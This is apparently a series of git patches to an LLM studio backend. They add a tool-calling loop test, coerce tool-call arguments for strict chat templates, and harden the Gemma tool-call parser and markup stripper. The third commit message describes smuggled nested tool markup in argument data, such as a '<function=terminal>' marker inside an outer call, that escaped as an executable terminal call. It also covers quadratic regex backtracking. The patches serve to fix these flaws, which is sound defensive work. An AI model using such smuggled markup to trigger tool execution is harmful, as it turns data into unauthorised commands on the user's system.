 .../tests/test_safetensors_toolcall_wiring.py | 179 ++++++++++++++++++
 1 file changed, 179 insertions(+)
 create mode 100644 studio/backend/tests/test_safetensors_toolcall_wiring.py

diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py
new file mode 100644
index 0000000000..5c298a7966
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py
@@ -0,0 +1,179 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Deterministic backend-wiring test for the safetensors / MLX tool-calling path.
+
+The parser and the cumulative-text state machine are already covered exhaustively by
+``test_safetensors_tool_loop.py`` with fake generators. What that suite does not touch is the
+*backend's own tool-injection seam*: both ``InferenceBackend`` (transformers) and
+``MLXInferenceBackend`` render the prompt through the shared
+``apply_chat_template_for_generation(..., tools=...)`` helper and stream cumulative text into the
+shared ``run_safetensors_tool_loop`` (see ``core/inference/inference.py`` and
+``core/inference/mlx_inference.py`` -- both call the same helper and the same loop, so a single CPU
+test of that seam covers the macOS MLX path too).
+
+This test drives that exact seam with deterministic fakes -- a fake tokenizer that records the
+``tools`` it is handed, a canned tool-call generation, and a stub executor -- and asserts the full
+agentic chain end to end:
+
+    tools injected into the template -> loop parses the call -> tool dispatched once ->
+    tool result fed back -> generation re-entered -> final answer streamed.
+
+It is the deterministic, download-free stand-in for the real-model MLX / GGUF browser tool-calling
+end-to-end: it imports no torch / unsloth / mlx, so it runs in the portable Backend CI alongside the
+tool-call parser tests. Follow-up to the parser test PRs (#5620 / #5704).
+"""
+
+from core.inference.chat_template_helpers import apply_chat_template_for_generation
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+TOOL_NAME = "get_weather"
+TOOL_ARGS = {"city": "Paris"}
+FAKE_TOOL = {
+    "type": "function",
+    "function": {
+        "name": TOOL_NAME,
+        "description": "Get the current weather for a city.",
+        "parameters": {
+            "type": "object",
+            "properties": {"city": {"type": "string"}},
+            "required": ["city"],
+        },
+    },
+}
+# Full parser matrix lives in test_safetensors_tool_loop.py.
+TOOL_CALL_TEXT = '<tool_call>{"name": "get_weather", "arguments": {"city": "Paris"}}</tool_call>'
+FINAL_ANSWER = "The weather in Paris is sunny and 22C."
+TOOL_RESULT = "Paris: sunny, 22C"
+
+
+class RecordingTokenizer:
+    """Fake tokenizer that records the ``tools`` handed to ``apply_chat_template``.
+
+    Modelled on ``TestChatTemplateHelper._Tok`` in ``test_safetensors_tool_loop.py``: it accepts the
+    real helper's kwargs and returns a canned prompt, so the test can assert the backend seam actually
+    forwarded the tool schema -- a silent drop on a chat-template fallback would leave ``tools_seen``
+    holding ``None``.
+    """
+
+    def __init__(self):
+        self.tools_seen: list = []
+        self.call_count = 0
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kwargs,
+    ):
+        self.call_count += 1
+        self.tools_seen.append(kwargs.get("tools"))
+        return "PROMPT"
+
+
+class StubExecutor:
+    """Stand-in for ``core.inference.tools.execute_tool``: records calls, returns a fixed result.
+
+    A fake tool name plus this stub means no real python / terminal / web / RAG side effect can run.
+    """
+
+    def __init__(self, result: str):
+        self.result = result
+        self.calls: list[tuple[str, dict]] = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        return self.result
+
+
+def _collect(generator, max_events = 200):
+    events = []
+    for ev in generator:
+        events.append(ev)
+        if len(events) >= max_events:
+            break
+    return events
+
+
+def _tool_names(tools):
+    return [(t.get("function") or {}).get("name") for t in (tools or [])]
+
+
+def test_backend_seam_injects_tools_and_drives_full_tool_loop():
+    """The shared backend seam forwards tools into the chat template, and the loop parses the call,
+    dispatches it once, feeds the result back, and re-enters generation for the final answer."""
+    tok = RecordingTokenizer()
+    executor = StubExecutor(TOOL_RESULT)
+    turns = iter([TOOL_CALL_TEXT, FINAL_ANSWER])
+    active_tools_seen: list = []
+    conversations_seen: list = []
+
+    def single_turn(conversation, *, active_tools = None):
+        # Mirror the real _single_turn: render via the shared helper, then yield cumulative snapshots.
+        active_tools_seen.append(active_tools)
+        conversations_seen.append([dict(m) for m in conversation])
+        apply_chat_template_for_generation(tok, conversation, tools = active_tools)
+        text = next(turns)
+        mid = len(text) // 2
+        acc = ""
+        for chunk in (text[:mid], text[mid:]):
+            acc += chunk
+            yield acc
+
+    events = _collect(
+        run_safetensors_tool_loop(
+            single_turn = single_turn,
+            messages = [{"role": "user", "content": "What is the weather in Paris?"}],
+            tools = [FAKE_TOOL],
+            execute_tool = executor,
+            max_tool_iterations = 3,
+        )
+    )
+
+    # 1. Helper forwarded the tool schema to the tokenizer (seam does not drop tools).
+    assert tok.tools_seen, "tokenizer.apply_chat_template was never called"
+    assert tok.tools_seen[0], "tool schema was dropped before reaching the tokenizer"
+    assert TOOL_NAME in _tool_names(tok.tools_seen[0])
+
+    # 2. Loop offered the tool to the first generation turn.
+    assert active_tools_seen and active_tools_seen[0] is not None
+    assert TOOL_NAME in _tool_names(active_tools_seen[0])
+
+    # 3 / 4 / 5. Exactly one tool_start, one dispatch with parsed args, one tool_end with the result.
+    tool_starts = [e for e in events if e["type"] == "tool_start"]
+    tool_ends = [e for e in events if e["type"] == "tool_end"]
+    assert len(tool_starts) == 1 and tool_starts[0]["tool_name"] == TOOL_NAME
+    assert executor.calls == [(TOOL_NAME, TOOL_ARGS)], executor.calls
+    assert len(tool_ends) == 1 and tool_ends[0]["result"] == TOOL_RESULT
+
+    # 6. Final answer streams after the tool result: loop appended it and re-entered generation.
+    contents = [e for e in events if e["type"] == "content"]
+    assert contents and FINAL_ANSWER in contents[-1]["text"]
+    last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end")
+    last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content")
+    assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result"
+
+    # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this:
+    #     the fake generation ignores the conversation).
+    assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call"
+    final_turn_convo = conversations_seen[1]
+    assert any(
+        TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo
+    ), "tool result was not fed back into the conversation before the final generation turn"
+
+    # 7. Guard: raw tool-call markup never leaked to the client as content.
+    for e in contents:
+        assert "<tool_call>" not in e["text"]
+        assert TOOL_NAME not in e["text"]

From e9ea45b6a51776cff1185c79c6a9dc0991712080 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 10:12:22 -0700
Subject: [PATCH 215/306] Studio: coerce tool_call arguments to dict before
 chat templating (fixes MLX tool follow-up error) (#6807)

* Studio: coerce tool_call arguments to dict before chat templating

Strict tool chat templates (e.g. mlx-community Qwen3.5 checkpoints) iterate
arguments.items() and raise "TypeError: Can only get item pairs from a mapping"
when a prior assistant tool call is re-rendered on the next turn. The agentic
loop stores arguments in the OpenAI JSON-string form (as_assistant_tool_call),
which is correct on the wire and for llama-server, but the transformers / MLX
paths apply_chat_template directly and hit the strict Jinja templates.

Normalize each assistant tool_call's function.arguments from a JSON string to a
dict inside apply_chat_template_for_generation (shared by both the MLX and
safetensors paths). A dict renders on strict and lenient templates alike;
non-JSON / non-dict values are left untouched, and the OpenAI-format
as_assistant_tool_call (used by the GGUF path + API responses) is unchanged.

Verified against the real mlx-community/Qwen3.5-2B-8bit template: string args
raised the tester's error, the fix renders cleanly, and the lenient
unsloth/Qwen3.5-0.8B template still works.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make tool-arg coercion a string-first fallback (non-regressive)

Render the original OpenAI string-arg form first and only coerce arguments to a
dict when the template raises the mapping TypeError, instead of always coercing.
Any template that already renders is now byte-identical (a template that emits
arguments verbatim keeps the JSON string, not a Python dict repr).

Verified across Llama-3, Qwen2.5, Qwen3, Qwen3.5, Phi-3.5 (byte-identical) and
mlx-community/Qwen3.5-2B-8bit (strict -> fixed). Gemma-3 / Mistral tool-template
errors are unrelated (role alternation / tool-id length) and identical with or
without the change.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make core.inference package init lazy so dependency-light helpers import standalone

Importing any core.inference submodule ran the package __init__, which
eagerly imported orchestrator and llama_cpp; both pull loggers ->
structlog (and httpx), so a dependency-light helper like
chat_template_helpers dragged in the full heavy stack and its unit test
failed to collect in a backend env without structlog. Defer those
imports to attribute access via PEP 562 __getattr__, mirroring the lazy
pattern already in core/__init__.py. The re-exports resolve unchanged on
first access.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Retry dict-coercion for strict templates that raise non-TypeError

apply_chat_template_for_generation only retried the OpenAI JSON-string arguments
coercion when the first render raised TypeError (the arguments.items() form). The
bundled gemma-4.jinja instead rejects string arguments with raise_exception, which
surfaces as a Jinja error, so a second tool turn with string function.arguments
propagated and failed rather than retrying with the parsed dict.

Broaden the outer catch to Exception, still gated on there being a string arg to
normalize (normalized is messages -> re-raise), so unrelated template errors and
templates that already render are unaffected.

* Tighten comments in tool-call argument coercion helper and tests

* Tighten tool-call argument coercion comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../core/inference/chat_template_helpers.py   |  90 ++++++++--
 .../test_chat_template_tool_arguments.py      | 157 ++++++++++++++++++
 2 files changed, 229 insertions(+), 18 deletions(-)
 create mode 100644 studio/backend/tests/test_chat_template_tool_arguments.py

diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index b85e9c348a..f58c93b7fe 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -6,9 +6,51 @@ Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
 fallback for templates that reject reasoning/tools args.
 """
 
+import json
 from typing import Optional
 
 
+def _normalize_tool_call_arguments(messages: list) -> list:
+    """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
+    string to a dict.
+
+    The OpenAI wire format carries ``arguments`` as a JSON string, but some chat
+    templates (e.g. the stricter Qwen tool templates shipped with mlx-community
+    checkpoints) iterate ``arguments.items()`` and raise
+    ``TypeError: Can only get item pairs from a mapping.`` on the string form
+    when a prior tool call is re-rendered on the next turn. A dict works on both
+    strict and lenient templates, so parse the string; leave non-JSON or non-dict
+    values untouched. Returns the original list unchanged when nothing needed
+    coercing (no copy)."""
+    mutated = False
+    out: list = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None
+        if not tool_calls:
+            out.append(msg)
+            continue
+        new_calls = []
+        msg_changed = False
+        for call in tool_calls:
+            fn = call.get("function") if isinstance(call, dict) else None
+            args = fn.get("arguments") if isinstance(fn, dict) else None
+            if isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (ValueError, TypeError):
+                    parsed = None
+                if isinstance(parsed, dict):
+                    call = {**call, "function": {**fn, "arguments": parsed}}
+                    msg_changed = True
+            new_calls.append(call)
+        if msg_changed:
+            out.append({**msg, "tool_calls": new_calls})
+            mutated = True
+        else:
+            out.append(msg)
+    return out if mutated else messages
+
+
 def apply_chat_template_for_generation(
     tokenizer,
     messages: list,
@@ -38,21 +80,33 @@ def apply_chat_template_for_generation(
         attempts.append(dict(reasoning_kwargs))
     attempts.append({})
 
-    last_exc: Optional[Exception] = None
-    for kwargs in attempts:
-        try:
-            return tokenizer.apply_chat_template(
-                messages,
-                tokenize = False,
-                add_generation_prompt = True,
-                **kwargs,
-            )
-        except TypeError as e:
-            last_exc = e
-            continue
-        except Exception as e:
-            last_exc = e
-            break
-    if last_exc is not None:
-        raise last_exc
-    raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+    def _render(msgs: list) -> str:
+        last_exc: Optional[Exception] = None
+        for kwargs in attempts:
+            try:
+                return tokenizer.apply_chat_template(
+                    msgs,
+                    tokenize = False,
+                    add_generation_prompt = True,
+                    **kwargs,
+                )
+            except TypeError as e:
+                last_exc = e
+                continue
+            except Exception as e:
+                last_exc = e
+                break
+        if last_exc is not None:
+            raise last_exc
+        raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+
+    try:
+        return _render(messages)
+    except Exception:
+        # Strict tool templates reject the JSON-string ``arguments`` form via
+        # TypeError or a broad Jinja raise_exception, so retry with dicts coerced.
+        # Original messages render first, so working templates stay byte-identical.
+        normalized = _normalize_tool_call_arguments(messages)
+        if normalized is messages:
+            raise
+        return _render(normalized)
diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py
new file mode 100644
index 0000000000..13d1ecabaa
--- /dev/null
+++ b/studio/backend/tests/test_chat_template_tool_arguments.py
@@ -0,0 +1,157 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""apply_chat_template_for_generation must coerce assistant tool_call arguments
+from the OpenAI JSON-string form to a dict before rendering. Strict tool
+templates (e.g. mlx-community Qwen3.5 checkpoints) iterate arguments.items() and
+raise "Can only get item pairs from a mapping." on the string form when a prior
+tool call is re-rendered on the next turn (MLX + transformers paths).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_template_helpers import (  # noqa: E402
+    _normalize_tool_call_arguments,
+    apply_chat_template_for_generation,
+)
+
+
+def _conv(arguments):
+    return [
+        {"role": "user", "content": "weather?"},
+        {
+            "role": "assistant",
+            "content": "",
+            "tool_calls": [
+                {
+                    "type": "function",
+                    "id": "c1",
+                    "function": {"name": "web_search", "arguments": arguments},
+                }
+            ],
+        },
+        {"role": "tool", "name": "web_search", "content": "21C sunny"},
+    ]
+
+
+class _StrictTemplateTokenizer:
+    """Mimics a strict Qwen tool template: rejects string tool_call arguments."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise TypeError("Can only get item pairs from a mapping.")
+        return "RENDERED"
+
+
+def test_string_arguments_are_parsed_to_dict():
+    out = _normalize_tool_call_arguments(_conv('{"query": "sweden"}'))
+    args = out[1]["tool_calls"][0]["function"]["arguments"]
+    assert args == {"query": "sweden"}
+
+
+def test_dict_arguments_untouched_and_no_copy():
+    conv = _conv({"query": "sweden"})
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+def test_non_json_string_left_as_is():
+    out = _normalize_tool_call_arguments(_conv("not json"))
+    assert out[1]["tool_calls"][0]["function"]["arguments"] == "not json"
+
+
+def test_render_succeeds_on_strict_template_with_string_arguments():
+    # Regression: strict template + string args used to raise.
+    result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}'))
+    assert result == "RENDERED"
+
+
+class _RecordingTokenizer:
+    """Lenient template: renders whatever arguments it is given (string or dict)."""
+
+    def __init__(self):
+        self.seen_arguments = None
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                self.seen_arguments = call.get("function", {}).get("arguments")
+        return "RENDERED"
+
+
+def test_lenient_template_receives_original_string_untouched():
+    # Lenient template must see the exact original string, not a coerced dict.
+    tok = _RecordingTokenizer()
+    apply_chat_template_for_generation(tok, _conv('{"query": "x"}'))
+    assert tok.seen_arguments == '{"query": "x"}'
+
+
+def test_messages_without_tool_calls_pass_through_unchanged():
+    conv = [{"role": "user", "content": "hi"}]
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+class _RaiseExceptionTemplateTokenizer:
+    """Mimics the bundled gemma-4.jinja: rejects string tool_call arguments via
+    ``raise_exception(...)``, which surfaces as a Jinja error, NOT a TypeError."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise ValueError(
+                        "chat_template: tool_calls[].function.arguments must be a "
+                        "JSON object (mapping), not a string."
+                    )
+        return "RENDERED"
+
+
+def test_render_succeeds_on_raise_exception_template_with_string_arguments():
+    # Regression: gemma-4.jinja rejects string args via a non-TypeError; retry must still coerce.
+    result = apply_chat_template_for_generation(
+        _RaiseExceptionTemplateTokenizer(), _conv('{"query": "x"}')
+    )
+    assert result == "RENDERED"
+
+
+def test_unrelated_template_error_still_propagates_with_dict_args():
+    # Failure unrelated to string args (dict args, nothing to coerce) must propagate.
+    class _AlwaysRaises:
+        def apply_chat_template(self, messages, **kw):
+            raise ValueError("template is broken")
+
+    with pytest.raises(ValueError, match = "broken"):
+        apply_chat_template_for_generation(_AlwaysRaises(), _conv({"query": "x"}))

From eb1ef44255e4a409c70343611e97c15c2ba197d3 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 10:39:37 -0700
Subject: [PATCH 216/306] Studio: Gemma tool-call streaming follow-ups +
 nested-XML escape fix (#6476) (#6611)

* Quote-aware Gemma strip, symmetric unstarted cleanup, ReDoS anchor

Address review findings on the tool-strip and streaming paths:

- strip_tool_call_markup stripped Gemma-native spans with a plain regex that
  stops at the first <tool_call|>, so a literal close marker inside a
  <|"|>-quoted argument truncated the span and leaked its suffix into visible
  text. A brace/quote-aware _strip_gemma_native_spans now removes complete
  spans (keeping an incomplete one unless final), matching the parser's own
  balance logic.

- The Gemma close pattern this PR added (<\|tool_call>.*?<tool_call\|>) had no
  \Z fallback, so a run of unclosed markers backtracked from every open
  position (quadratic, and the streaming stripper re-scans per token). It is
  now anchored to (?:<tool_call|>|\Z) like routes/inference.py's _TOOL_XML_RE,
  linear with identical output on well-formed input.

- _SameTaskStreamingResponse added unstarted_cleanup for the OpenAI passthrough,
  but the local GGUF/safetensors streams that enter _TrackedCancel before
  returning only unregister in the generator finally, which never runs if the
  client disconnects before the body iterator starts, leaking cancel-registry
  entries. Each such stream now passes unstarted_cleanup to exit its tracker.

- __call__ reads _unstarted_cleanup via getattr so a response built through
  __new__ (the cancel-timing test) without __init__ does not raise
  AttributeError; the test also sets the attribute explicitly.

- Document that the verbatim /v1/chat/completions passthrough delegates
  <think>/<|tool_call> splitting to llama-server (--jinja, --reasoning-format
  auto) and is intentionally not re-parsed locally, noting the llama.cpp
  dependency.

Adds a regression test for the close-marker-inside-quoted-argument strip.

* Tighten comments on the tool-strip and streaming paths

Compress the verbose comment blocks added with the Gemma tool-call / streaming
work to crisp one or two liners, drop restatements of obvious code, and shorten
docstrings, keeping the load-bearing rationale (ReDoS anchor, quote-aware strip,
unstarted-cleanup, llama.cpp passthrough dependency). Code is unchanged
(verified comment-only via AST/ast signature, docstrings stripped).

* Harden Gemma parse/strip: span-aware XML fallback and quote-aware streaming

- Security: the XML fallback in parse_tool_calls_from_text scanned the whole
  content for <function=...> markers and only skipped those inside an open XML
  parameter, not those inside a collected JSON/Gemma candidate span. A balanced
  but unparsable Gemma call whose argument data contained XML tool markup
  (<|tool_call>call:outer{code:<function=terminal>...}<tool_call|>) therefore
  fell through to the fallback and returned an executable terminal call. The
  fallback now also excludes <function=> markers inside any candidate span,
  including ones that failed to parse.

- strip_tool_call_markup no longer skips the generic Gemma regex after running
  the quote-aware _strip_gemma_native_spans, so a closed Gemma span the helper
  cannot match (malformed, e.g. <|tool_call>{"name":"x"}<tool_call|>) is still
  stripped instead of leaking its opener and payload into visible text.

- _strip_gemma_native_spans stops at the first unbalanced start instead of
  re-scanning every later start to EOF, keeping it linear on a run of unclosed
  markers rather than quadratic.

- The GGUF and safetensors streaming strippers run _strip_gemma_native_spans
  before the regex patterns, so a well-formed streamed call whose quoted
  argument contains a literal close marker no longer leaks its suffix into
  incremental display.

Adds regression tests for the nested-XML escape and the malformed-span strip.

* Avoid remainder copy in _strip_gemma_native_spans

Match the Gemma close marker with re pos directly on the buffer instead
of slicing tail = text[brace_end + 1:] on every span. The streaming
strippers re-scan a growing cumulative buffer per token, so the per-span
remainder copy was quadratic. Behavior is unchanged.

* Exclude unclosed Gemma/JSON starts from the XML tool-call fallback

The nested-XML guard only skipped <function=> markers inside recorded
candidate spans, but a span is recorded only when the braces balance. An
unbalanced call such as <|tool_call>call:outer{code:<function=terminal>...
recorded no span, so the fallback still promoted the inner <function=> to
an executable terminal call. Treat unclosed JSON/Gemma starts as exclusion
spans through EOF before scanning. Standalone <function=> calls with no
preceding unclosed start still parse. Regression tests added.

* Skip doomed tool-strip passes to avoid quadratic rescans

The lazy closed-pair strip patterns (<tool_call>.*?</tool_call>,
<function=...>.*?</function>) rescan to EOF from every opener when their
close token is absent, which is O(n^2) and re-runs per streamed token. Add
strip_tool_patterns, which skips a pass whose close token is not present in
the text; output is identical to the per-pattern loop (verified by fuzz),
and a degenerate run drops from ~minutes to milliseconds. Used by
strip_tool_call_markup and the GGUF/safetensors streaming strippers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Use full tool-call envelopes to close nested-XML escape variants

Key the parser and stripper off the full <|tool_call>...<tool_call|> /
<tool_call>...</tool_call> envelope (start to close marker, searched after
the braces; EOF if unclosed) instead of just the braces:

- XML between the closing brace and the close marker
  (call:outer{broken:{x}}<function=terminal>...<tool_call|>) is now inside
  the envelope, so the fallback no longer promotes it to a tool call.
- A balanced inner call inside an unclosed outer
  (call:outer{code:<|tool_call>call:terminal{...}<tool_call|>) is skipped
  via the envelope nested check, not just the XML fallback.
- strip_tool_call_markup searches for the close marker after the braces, so
  junk before <tool_call|> is stripped through the close and text after it is
  preserved instead of truncated to EOF; a no-close run stops early (linear).

Regression tests added; standalone XML and well-formed calls unaffected.

* Fix non-final Gemma strip and missing-close recovery for PR #6611

Split the nested-skip from the XML fallback exclusion: nesting is decided by
each marker's brace region, so a balanced call after one with a missing close
marker is recovered instead of being swallowed to EOF. Only the XML fallback
keeps the search-to-close envelope, so trailing nested markup still cannot
escape as an executable call.

Use a closed-only Gemma pattern in the non-final strip list so an incomplete
block is preserved (matching the JSON and function paths); the final list keeps
the close-or-EOF Gemma pattern in its original position, so streaming display
output is byte-for-byte unchanged.

Add regression tests for both cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Block gap-nested tool markers and fix XML strip order for PR #6611

Decide candidate nesting by a per-marker coverage region paired with a
per-format stack (a close after the braces pops the nearest still-open marker
of that format). A closed outer call now covers up to its own close marker, so a
JSON or Gemma tool marker smuggled between the outer braces and that close is
treated as data instead of being executed. An outer that balances but has no
close of its own covers only its brace region, so a later sibling after an
omitted close marker is still recovered (adjacent calls use an exclusive end
bound so the next call is not misread as nested).

Strip every closed pair (JSON, Gemma, function) before any to-EOF sweep, so a
closed function call whose parameter text contains a bare Gemma opener is
removed as a unit and the to-EOF sweep can no longer drop the visible text after
the close.

Add regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Strip closed tool blocks before the Gemma final sweep for PR #6611

The final display strip ran the quote-aware Gemma helper before the closed
JSON/function patterns. A closed <tool_call>...</tool_call> or
<function=...>...</function> block whose argument data held a call-form Gemma
opener (e.g. a "<|tool_call>call:t{" string) was read as an incomplete Gemma
span and truncated to EOF, dropping the block's close and any visible text after
it.

Strip closed JSON/function blocks first, so such a block is removed as a unit
before the helper runs. Centralize the final strip order in a shared
strip_tool_markup_final so strip_tool_call_markup and both streaming display
wrappers (safetensors, llama_cpp) stay in sync, and apply the same closed-block
pre-pass to the non-final path.

Add regression tests for the JSON and function variants.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Recover XML/JSON siblings after a close-less tool marker for PR #6611

Two fixes so the XML fallback and marker coverage recover a later valid call
after an earlier marker omits its close, matching the candidate loop:

Reuse the candidate marker-coverage in the XML fallback instead of a separate
search-to-close-or-EOF envelope. A balanced but close-less marker now covers
only its brace region there too, so a following <function=...> sibling is
recovered rather than filtered as nested data; an unbalanced marker still covers
to EOF and a closed one still covers through its close, so nested XML stays
blocked.

Ignore a close token that falls inside another call's balanced braces when
pairing closes in _marker_coverage. Such a token is that call's quoted argument
data, so it no longer pops an earlier close-less marker and extends its coverage
over a later valid sibling.

Add regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make the closed-block strip pre-pass Gemma-span-aware

The final display strip ran the closed JSON/function regex pre-pass before
removing Gemma-native spans, so a literal <function=...> quoted inside a Gemma
argument plus any later </function> (a real call's close or even prose) was
deleted across the Gemma boundary. That mangled the Gemma close marker, the
quote-aware helper then saw an unclosed opener, and the whole visible tail
after the call was truncated.

The pre-pass now skips matches that start inside a complete Gemma span (that
text is the span's argument data) and resumes scanning at the end of the
covering span, so a real function-XML call after the Gemma call is still
stripped. The original ordering rationale is preserved: a Gemma opener inside
a JSON or function argument still cannot truncate that block, covered by
regression tests for both directions.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments in the Gemma streaming and strip pipeline to essentials

* Tighten comments in the Gemma strip and streaming disconnect paths

* Fold marker-collection comment to two lines

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../core/inference/tool_call_parser.py        |  14 +-
 studio/backend/core/tool_healing.py           | 366 +++++++++++-------
 studio/backend/routes/inference.py            |  87 +++--
 .../tests/test_gemma_tool_parse_edge_cases.py | 195 ++++++++--
 .../tests/test_tool_call_parser_strict.py     |  41 ++
 studio/backend/tests/test_tool_strip_guard.py |  76 ++++
 6 files changed, 562 insertions(+), 217 deletions(-)
 create mode 100644 studio/backend/tests/test_tool_strip_guard.py

diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index c31f4b272e..9e82e40de2 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -530,13 +530,23 @@ def parse_tool_calls_from_text(
 
     # Formats tool_healing does not cover: ``<function name="...">`` (MiniCPM-5 / MiniMax-M2),
     # Llama-3 and Mistral. Run only after tool_healing found nothing, so a strict-rejected
-    # call is never re-healed here.
+    # call is never re-healed here. Blank any JSON/Gemma marker coverage first: markup inside
+    # a marker's span (even one that failed to parse) is that call's data, not a sibling, so
+    # a nested ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
+    fallback_content = content
+    coverage = _tool_healing.marker_coverage(content)
+    if coverage:
+        chars = list(content)
+        for cov_start, cov_end in coverage:
+            for i in range(cov_start, min(cov_end, len(chars))):
+                chars[i] = " "
+        fallback_content = "".join(chars)
     for parser in (
         _parse_function_xml,  # <function name="..."> attribute form
         _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
         _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
     ):
-        calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+        calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete)
         if calls:
             return calls
 
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index ff8faf2308..b91403ed57 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -10,20 +10,45 @@ orchestrator, structlog, httpx, or the rest of the studio backend.
 import json
 import re
 
-# Pre-compiled patterns for tool XML stripping. The hyphen in the name
-# char-class lets dashed MCP tool/parameter names (mcp__srv__list-issues,
-# issue-number) parse alongside the built-ins.
+# Strip patterns. The name-class hyphen matches dashed MCP names. Closed pairs
+# strip first so a closed call goes as a unit before any to-EOF sweep reaches
+# nested markup; only the final list adds the .*$ EOF sweeps.
+_TC_JSON_CLOSED_PAT = re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL)
+_TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL)
+_TC_FUNC_CLOSED_PAT = re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL)
+_TC_GEMMA_END_PAT = re.compile(r"<tool_call\|>")
 _TOOL_CLOSED_PATS = [
-    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
-    re.compile(r"<tool_call\|>"),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
+    _TC_JSON_CLOSED_PAT,
+    _TC_GEMMA_CLOSED_PAT,
+    _TC_FUNC_CLOSED_PAT,
+    _TC_GEMMA_END_PAT,
 ]
 _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
-    re.compile(r"<tool_call>.*$", re.DOTALL),
     re.compile(r"<\|tool_call>.*$", re.DOTALL),
+    re.compile(r"<tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
+# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in
+# their argument data cannot make the helper truncate the block and its tail.
